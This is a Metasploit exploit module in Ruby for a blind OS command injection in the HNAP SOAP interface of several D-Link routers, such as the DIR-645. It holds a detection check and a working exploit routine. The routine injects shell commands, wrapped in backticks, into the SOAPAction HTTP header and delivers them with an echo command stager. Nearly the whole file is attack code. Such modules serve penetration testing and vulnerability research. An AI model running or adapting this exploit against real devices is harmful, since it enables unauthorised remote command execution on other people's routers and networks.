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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices HNAP SOAPAction-Header Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP
interface. Since it is a blind OS command injection vulnerability, there is no
output for the executed command. This module has been tested on a DIR-645 device.
The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,
DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
},
'Author' =>
[
'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645
'Craig Heffner', # independent Vulnerability discovery on different other routers
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'],
['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/']
],
'DisclosureDate' => 'Feb 13 2015',
'Privileged' => true,
'Platform' => 'linux',
'Targets' =>
[
[ 'MIPS Little Endian',
{
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
{
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 0
))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
uri = '/HNAP1/'
soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings'
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'headers' => {
'SOAPAction' => soap_action,
}
})
if res && [200].include?(res.code) && res.body =~ /D-Link/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("Trying to access the device ...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
end
print_status("Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 200,
:temp => ''
)
end
def execute_command(cmd, opts)
uri = '/HNAP1/'
# we can not use / in our command so we need to use a little trick
cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd
soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'headers' => {
'SOAPAction' => soap_action,
}
}, 3)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end